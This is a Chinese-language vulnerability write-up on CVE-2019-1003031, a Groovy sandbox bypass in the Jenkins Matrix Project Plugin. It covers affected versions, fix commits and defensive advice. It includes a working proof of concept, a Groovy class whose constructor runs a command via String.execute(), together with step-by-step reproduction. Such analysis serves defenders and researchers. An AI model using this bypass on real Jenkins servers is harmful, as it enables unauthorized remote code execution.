CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过漏洞
字数 2134 2025-08-29 08:32:30

Jenkins Matrix Project Plugin 沙箱绕过漏洞分析 (CVE-2019-1003031)

漏洞概述

本教学文档详细分析 Jenkins Matrix Project Plugin 中的沙箱绕过漏洞 (CVE-2019-1003031),该漏洞与 Script Security Plugin 的另一个沙箱绕过漏洞 (CVE-2019-1003029) 相关联,可导致权限提升和远程代码执行。

受影响组件

1. Matrix Project Plugin

  • 功能:用于构建"多配置项目",如多环境测试、平台指定构建等
  • 漏洞版本:<= 1.13
  • 修复版本:1.14 或以上
  • 利用条件:具有 Job/Configure 权限的用户

2. Script Security Plugin

  • 功能:管理普通用户执行 Groovy 脚本的权限
  • 漏洞版本:<= 1.53
  • 修复版本:1.54 或以上(考虑 CVE-2019-1003040,建议升级到 1.56 或以上)
  • 利用条件:具有 Overall/Read 权限的用户

漏洞背景

Matrix Project Plugin 在配置过程中接受用户指定的 Groovy Script,在版本 <=1.13 中存在沙箱绕过漏洞。该漏洞需要结合 Script Security Plugin 的沙箱绕过漏洞 (CVE-2019-1003029) 来实现完整的利用。

漏洞分析

漏洞位置

  • Matrix Project Pluginhudson/matrix/FilterScript.javaevaluate() 方法
  • 调用栈
    parse:117, FilterScript (hudson.matrix)
    parse:105, FilterScript (hudson.matrix)
    evalGroovyExpression:101, Combination (hudson.matrix)
    evalGroovyExpression:91, Combination (hudson.matrix)
    rebuildConfigurations:658, MatrixProject (hudson.matrix)
    submit:959, MatrixProject (hudson.matrix)
    doConfigSubmit:1350, Job (hudson.model)
    doConfigSubmit:772, AbstractProject (hudson.model)
    

漏洞利用尝试

  1. 初始尝试

    (new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""
    
    • 结果:无法调用 ProcessBuilder,被 Script Security 插件拦截
  2. 反射尝试

    ("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""
    
    • 结果:仍然被拦截

有效利用方法

通过分析修复提交和评论,发现可以通过在类构造函数中执行代码来绕过限制:

class poc {
    poc(){
        "/Applications/Calculator.app/Contents/MacOS/Calculator".execute()
    }
}

关键点

  • 不使用 public 关键字(会被拦截)
  • 在类构造函数中执行命令
  • 使用 String.execute() 方法而非直接调用 RuntimeProcessBuilder

修复分析

修复提交中提到了 DoNotRunConstructor 类,表明修复重点是防止在构造函数中执行代码:

  1. Matrix Project Plugin 修复提交
    https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7

  2. Script Security Plugin 修复提交
    https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434

漏洞复现步骤

  1. 环境准备

    • Jenkins: 1.150.3
    • Matrix Project Plugin: 1.13
    • Script Security Plugin: 1.53
  2. 利用过程

    • 以具有 Job/Configure 权限的用户登录
    • 新建 Job,选择"构建一个多配置项目"
    • 在配置页面的"组合过滤器"中输入恶意 Groovy 脚本:
      class poc {
          poc(){
              "/Applications/Calculator.app/Contents/MacOS/Calculator".execute()
          }
      }
      
    • 提交配置触发漏洞

防御建议

  1. 升级

    • 将 Matrix Project Plugin 升级到 1.14 或更高版本
    • 将 Script Security Plugin 升级到 1.56 或更高版本(考虑 CVE-2019-1003040)
  2. 权限控制

    • 严格控制 Job/Configure 权限
    • 遵循最小权限原则
  3. 监控

    • 监控可疑的 Groovy 脚本执行
    • 审计配置更改日志

参考链接

  1. Jenkins 安全公告:

    • https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
    • https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336
  2. NVD 条目:

    • https://nvd.nist.gov/vuln/detail/CVE-2019-1003031
    • https://nvd.nist.gov/vuln/detail/CVE-2019-1003029
  3. 相关技术分析:

    • https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
    • https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/
  4. Groovy 官方文档:

    • https://groovy-lang.org/documentation.html
Jenkins Matrix Project Plugin 沙箱绕过漏洞分析 (CVE-2019-1003031) 漏洞概述 本教学文档详细分析 Jenkins Matrix Project Plugin 中的沙箱绕过漏洞 (CVE-2019-1003031),该漏洞与 Script Security Plugin 的另一个沙箱绕过漏洞 (CVE-2019-1003029) 相关联,可导致权限提升和远程代码执行。 受影响组件 1. Matrix Project Plugin 功能 :用于构建"多配置项目",如多环境测试、平台指定构建等 漏洞版本 : <= 1.13 修复版本 :1.14 或以上 利用条件 :具有 Job/Configure 权限的用户 2. Script Security Plugin 功能 :管理普通用户执行 Groovy 脚本的权限 漏洞版本 : <= 1.53 修复版本 :1.54 或以上(考虑 CVE-2019-1003040,建议升级到 1.56 或以上) 利用条件 :具有 Overall/Read 权限的用户 漏洞背景 Matrix Project Plugin 在配置过程中接受用户指定的 Groovy Script,在版本 <=1.13 中存在沙箱绕过漏洞。该漏洞需要结合 Script Security Plugin 的沙箱绕过漏洞 (CVE-2019-1003029) 来实现完整的利用。 漏洞分析 漏洞位置 Matrix Project Plugin : hudson/matrix/FilterScript.java 的 evaluate() 方法 调用栈 : 漏洞利用尝试 初始尝试 : 结果:无法调用 ProcessBuilder ,被 Script Security 插件拦截 反射尝试 : 结果:仍然被拦截 有效利用方法 通过分析修复提交和评论,发现可以通过在类构造函数中执行代码来绕过限制: 关键点 : 不使用 public 关键字(会被拦截) 在类构造函数中执行命令 使用 String.execute() 方法而非直接调用 Runtime 或 ProcessBuilder 修复分析 修复提交中提到了 DoNotRunConstructor 类,表明修复重点是防止在构造函数中执行代码: Matrix Project Plugin 修复提交 : https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7 Script Security Plugin 修复提交 : https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434 漏洞复现步骤 环境准备 : Jenkins: 1.150.3 Matrix Project Plugin: 1.13 Script Security Plugin: 1.53 利用过程 : 以具有 Job/Configure 权限的用户登录 新建 Job,选择"构建一个多配置项目" 在配置页面的"组合过滤器"中输入恶意 Groovy 脚本: 提交配置触发漏洞 防御建议 升级 : 将 Matrix Project Plugin 升级到 1.14 或更高版本 将 Script Security Plugin 升级到 1.56 或更高版本(考虑 CVE-2019-1003040) 权限控制 : 严格控制 Job/Configure 权限 遵循最小权限原则 监控 : 监控可疑的 Groovy 脚本执行 审计配置更改日志 参考链接 Jenkins 安全公告: https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339 https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336 NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2019-1003031 https://nvd.nist.gov/vuln/detail/CVE-2019-1003029 相关技术分析: https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/ Groovy 官方文档: https://groovy-lang.org/documentation.html